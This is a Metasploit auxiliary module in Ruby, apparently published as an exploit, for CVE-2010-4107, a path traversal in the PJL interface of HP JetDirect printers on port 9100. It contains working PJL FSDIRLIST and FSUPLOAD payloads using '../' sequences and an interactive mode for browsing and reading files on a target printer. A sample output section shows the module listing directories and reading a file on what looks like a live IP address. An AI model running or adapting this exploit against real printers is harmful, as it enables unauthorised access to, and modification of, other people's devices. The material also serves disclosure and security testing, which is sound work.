# Exploit Title: HP JetDirect PJL Interface Universal Path Traversal
# Date: Aug 7, 2011
# Author: Myo Soe <YGN Ethical Hacker Group - http://yehg.net/>
# Software Link: http://www.hp.com
# Version: All
# Tested on: HP LaserJet Pxxxx Series

##
# $Id: $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# Sample Output:
#
#
# msf auxiliary(hp_printer_pjl_traversal) > show options
#
# Module options (auxiliary/admin/hp_printer_pjl_traversal):
#
#    Name         Current Setting  Required  Description
#    ----         ---------------  --------  -----------
#    INTERACTIVE  false            no        Enter interactive mode [msfconsole Only]
#    RHOST        202.138.16.21    yes       The target address
#    RPATH        /                yes       The remote filesystem path to browse or read
#    RPORT        9100             yes       The target port
#
#
# msf auxiliary(hp_printer_pjl_traversal) > run
#
# [*] cd / ...
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# bin TYPE=DIR
# usr TYPE=DIR
# etc TYPE=DIR
# hpmnt TYPE=DIR
# hp TYPE=DIR
# lib TYPE=DIR
# dev TYPE=DIR
# init TYPE=FILE SIZE=9016
# .profile TYPE=FILE SIZE=834
# tmp TYPE=DIR
#
#
# msf auxiliary(hp_printer_pjl_traversal) > set INTERACTIVE true
# INTERACTIVE => true
# msf auxiliary(hp_printer_pjl_traversal) > set RPATH /hp
# RPATH => /hp
# msf auxiliary(hp_printer_pjl_traversal) > run
#
# [*] Entering interactive mode ...
# [*] cd /hp ...
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# app TYPE=DIR
# lib TYPE=DIR
# bin TYPE=DIR
# webServer TYPE=DIR
# images TYPE=DIR
# DemoPage TYPE=DIR
# loc TYPE=DIR
# AsianFonts TYPE=DIR
# data TYPE=DIR
# etc TYPE=DIR
# lrt TYPE=DIR
#
# [*] Current RPATH: /hp
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
#
# [*] Enter RPATH:
# $ > webServer/config
# [*] cd /hp/webServer/config ...
# [+] Server returned the following response:
#
# . TYPE=DIR
# .. TYPE=DIR
# soe.xml TYPE=FILE SIZE=23615
# version.6 TYPE=FILE SIZE=45
#
#
# [*] Current RPATH: /hp/webServer/config
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
#
# [*] Enter RPATH:
# $ > !r version.6
# [*] cat /hp/webServer/config/version.6 ...
# [+] Server returned the following response:
#
# WebServer directory version.  Do not delete!
#
#
# [*] Current RPATH: /hp/webServer/config
# [*] -> 'quit' to exit
# [*] ->'/' to return to file system root
# [*] ->'..' to move up to one directory
# [*] ->'!r FILE' to read FILE on current directory
#
# [*] Enter RPATH:
# $ > quit
# [*] Exited ... Have fun with your Printer!
# [*] Auxiliary module execution completed

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

 include Msf::Exploit::Remote::Tcp

 def initialize(info={})
  super(update_info(info,
   'Name'        => 'HP JetDirect PJL Interface Universal Path Traversal',
   'Version'     => '$Revision: 1 $',
   'Description' => %q{
    This module exploits path traveresal issue in possibly all HP network-enabled printer series, especially those which enable Printer Job Language (aka PJL) command interface through the default JetDirect port 9100.
    With the decade-old dot-dot-slash payloads, the entire printer file system can be accessed or modified.
   },
   'Author'      => [
     'Moritz Jodeit <http://www.nruns.com/>', # Bug Discoverer
     'Myo Soe <YGN Ethical Hacker Group, http://yehg.net/>' # Metasploit Module     
     ],
   'License'     => MSF_LICENSE,
   'References'     =>
   [
    [ 'CVE', '2010-4107' ],
    [ 'URL', 'http://www.nruns.com/_downloads/SA-2010%20003-Hewlett-Packard.pdf' ],    
    [ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02004333' ],    
    [ 'URL', 'http://www.irongeek.com/i.php?page=security/networkprinterhacking' ],
    [ 'URL', 'https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/HP-laserjet-printer.rb' ],
    [ 'URL', 'https://github.com/urbanadventurer/WhatWeb/blob/master/plugins/HP-OfficeJet-Printer.rb' ],
    [ 'URL', 'http://core.yehg.net/lab/#tools.exploits' ]
   ],
   'DisclosureDate' => '2010-11-15'))
  
  register_options(
  [

   OptString.new('RPATH',
     [
      true,
      "The remote filesystem path to browse or read",
      "/"
     ]
    ),
   OptBool.new('INTERACTIVE',
        [
         false,
         "Enter interactive mode [msfconsole Only]",
         false
        ]
       ),
    
   Opt::RPORT(9100)
  ],self.class)
  

 end

 def run
  mode = datastore['INTERACTIVE']

  if mode == true
   set_interactive(datastore['RPATH'])
  else
   set_onetime(datastore['RPATH'])
  end
 end
 
 def set_interactive(spath)
  action = 'DIR'
  rpath =  spath
  rfpath = ''
  tmp_path = ''
  tmp_file = ''
  cur_dir = '/'
  
  print_status("Entering interactive mode")
  stop = false
  
  set_onetime(rpath)
  
  until stop == true  
   print_status("Current RPATH: #{rpath}")
   print_status("-> 'quit' to exit")
   print_status("->'/' to return to file system root")
   print_status("->'..' to move up to one directory")
   print_status("->'!r FILE' to read FILE on current directory\r\n")
   print_status("Enter RPATH:")
   print("$ > ")

   tmp_path = gets.chomp.to_s 
   

   if tmp_path =~ /\.\./ && rpath.length > 2
    old_path = rpath
    new_path = rpath[0,rpath.rindex('/')]
    if new_path != nil
     rpath = new_path
    else
     rpath = '/'
    end
    rpath = '/' if rpath.length == 0
    print_status("Change to one up directory: #{rpath}")
   elsif tmp_path =~ /\!r\s/ 
    cur_dir = rpath
    tmp_file = tmp_path.gsub('!r ','')
    rfpath = cur_dir + '/' + tmp_file
    rfpath = rfpath.gsub('//','/') 
    action = 'FILE'
    
   elsif tmp_path == '/'
    rpath = '/'
   elsif rpath != '/'
       rpath = rpath + '/' << tmp_path
   else
    rpath = rpath  << tmp_path
   end
   if rpath =~ /quit/
    stop= true
    rpath = '/'
    print_status("Exited ... Have fun with your Printer!")
   else
    rpath = rpath.gsub('//','/') 
    if action == 'FILE'
     set_onetime(rfpath,action)
     cur_dir = rpath
    else
     set_onetime(rpath,action)
    end
    action = 'DIR' 
   end
  end
 end
 
 def set_onetime(spath,saction =  datastore['ACTION'])
  
  rpathx  = spath
  action = saction
  rpathx = '/' if rpathx =~ /\/quit/

  connect
  
  dir_cmd = "\x1b%-12345X@PJL FSDIRLIST NAME=\"0:/../../../[REPLACE]\" ENTRY=1 COUNT=99999999\x0d\x0a\x1b%-12345X\x0d\x0a"
  file_cmd = "\x1b%-12345X@PJL FSUPLOAD NAME=\"0:/../../../[REPLACE]\" OFFSET=0 SIZE=99999999\x0d\x0a\x1b%-12345X\x0d\x0a"
  
  if action =~ /DIR/
   r_cmd = dir_cmd.sub("[REPLACE]",rpathx)
   print_status("cd #{rpathx} ...")
  else
   r_cmd = file_cmd.sub("[REPLACE]",rpathx)
   print_status("cat #{rpathx} ...") 
  end
  
   
  
  recv = sock.put(r_cmd)
  res = sock.get(-1,1)
  
  if (!res)
   print_error("ERROR in receiving data!\r\n")
  else
   if res.to_s =~ /ERROR/
    print_error("Operation Not Permitted or File/DIR Not Found!\r\n")
    disconnect
    return
   end
   resx = res.to_s[res.index("\r\n")+1,res.length]
   print_good("Server returned the following response:\r\n#{resx}")
  end
  
  disconnect 
 
 end

end